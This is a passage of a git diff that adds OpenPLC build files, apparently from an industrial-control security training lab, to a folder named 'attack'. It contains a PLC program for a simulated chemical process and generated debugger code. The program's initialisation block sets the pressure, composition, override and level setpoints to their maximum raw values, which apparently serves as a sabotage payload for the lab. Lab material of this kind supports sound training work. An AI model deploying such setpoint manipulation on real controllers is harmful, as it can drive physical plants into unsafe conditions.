MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, 